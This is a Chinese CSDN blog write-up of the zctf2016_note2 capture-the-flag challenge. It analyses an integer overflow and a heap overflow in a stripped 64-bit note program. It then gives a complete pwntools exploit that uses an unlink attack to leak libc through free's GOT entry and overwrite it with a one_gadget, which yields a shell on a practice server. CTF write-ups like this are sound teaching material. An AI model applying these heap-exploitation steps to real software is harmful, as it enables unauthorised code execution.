zctf2016_note2【write up】

文章详细描述了如何解决一个CTF挑战,涉及64位程序的安全性,包括检查NX和Canary保护,分析程序漏洞(整数溢出和堆溢出),利用这些漏洞进行堆操作(如unlink),泄露libc地址,以及通过one_gadgetgadget获取控制权的过程。
摘要由CSDN通过智能技术生成

zctf2016_note2

惯例我们先来checksec一下

开启了NX和canary的64位程序

请添加图片描述

放进ida64里看看(此题去除了符号表 此处的函数名都是笔者自己写的)

去除了符号表 旨在考验我们的代码审计能力 所幸这提示比较规律的菜单题我们可以较为轻松的将函数名给填上去

请添加图片描述

my_read

请添加图片描述

漏洞点此处当size=0时存在整数溢出

add chunk

请添加图片描述

show chunk

非常标准的show_chunk 不存在漏洞

在这里插入图片描述

edit chunk

此处存在堆溢出漏洞可以方便我们修改内容

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vom9w1Tr-1681032025710)(1681025872095.png)]

delete chunk

非常标准的free_chunk的过程 不存在uaf漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FmN5JDwF-1681032025710)(1681024982399.png)]

审题完成,开始解题

由于我们可以利用整数溢出来篡改其他堆的内容因此我们考虑使用unlink操作

首先我们先申请三个chunk

此处我们已经可以在chunk0中部只好我们的fakechunk了

ptr=0x602120
fd=ptr-0x18
bk=ptr-0x10
payload=p64(0x0)+p64(0xa1)+p64(fd)+p64(bk)
add(0x80,payload)   #chunk0
add(0x10,'bbbb')   #chunk1
add(0x80,'cccc')#chunk2

然后将chuunk1free掉后再次申请chunk1 注意此处我们再次申请的chunk1的大小为0x0 要利用整数溢出漏洞来篡改chunk2的prev size和size位 然后我们再将chunkfree掉 这时我们的chunk0就已经指向ptr了

delete(1)
payload=p64(0)*2+p64(0xa0)+p64(0x90)
add(0,payload)
delete(2)

此时我们修改chunk0上的内容(即修改ptr上的内容)将本应存储chunk0地址上的内容篡改为free_got的地址

payload=b'a'*0x18+p64(free_got)
edit(0,payload)

接下来我们show chunk0 将chunk0上的内容打印出来(即打印free_got上的内容即free_addr)

然后接收free_addr 这样我们就泄露出来libc 由于free函数没有free chunk上的内容因此我们优先考虑使用one_gadget来获取控制权 将chunk0的内容(free_got上的内容)更改为one_gadget的地址

由于edit函数的最后一步是执行free(v7);因此我们不需要额外delete一个chunk即可搭乘夺取控制权的目的

show(0)
io.recvuntil('is ')
print('1')
free_addr = u64(io.recv(6).ljust(8, "\x00"))
#free_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
base=free_addr-libc.sym['free']
print(hex(base))
payload=p64(base+one_gadget)
edit(0,payload)
io.interactive()

然后我们就可以得到我们的flag了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nWoaXxfq-1681032025710)(1681030970832.png)]

exp:

from pwn import *
io=remote('node4.buuoj.cn',26019)
#io=process('./note2')
context.log_level='debug'
elf=ELF('./note2')
libc=ELF('./libc-2.23.so')

one_gadget=0xf02a4
free_got=elf.got['free']
ptr=0x602120
fd=ptr-0x18
bk=ptr-0x10
def add(size,content):
	io.recvuntil('--->>')
	io.sendline(b'1')
	io.recvuntil(':(less than 128)')
	io.sendline(str(size))
	io.recvuntil('content:')
	io.sendline(content)

def show(idx):
	io.recvuntil('--->>')
	io.sendline(b'2')
	io.recvuntil('the note:')
	io.sendline(str(idx))
	
def edit(idx,content):
	io.recvuntil('--->>')
	io.sendline(b'3')
	io.recvuntil('the note:')
	io.sendline(str(idx))
	io.recvuntil('[1.overwrite/2.append]')
	io.sendline(b'1')
	io.recvuntil(':')
	io.sendline(content)

def delete(idx):
	io.recvuntil('--->>')
	io.sendline(b'4')
	io.recvuntil('the note:')
	io.sendline(str(idx))

io.recvuntil('name:')
io.sendline(b'aaaa')
io.recvuntil('address:')
io.sendline(b'aaaa')
payload=p64(0x0)+p64(0xa1)+p64(fd)+p64(bk)
add(0x80,payload)   #chunk0
add(0x10,'bbbb')   #chunk1
add(0x80,'cccc')#chunk2
delete(1)
payload=p64(0)*2+p64(0xa0)+p64(0x90)
add(0,payload)
delete(2)
#payload=p64(0)+p64(free_got)
payload=b'a'*0x18+p64(free_got)
edit(0,payload)
show(0)
io.recvuntil('is ')
print('1')
free_addr = u64(io.recv(6).ljust(8, "\x00"))
#free_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
base=free_addr-libc.sym['free']
print(hex(base))
payload=p64(base+one_gadget)
edit(0,payload)
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值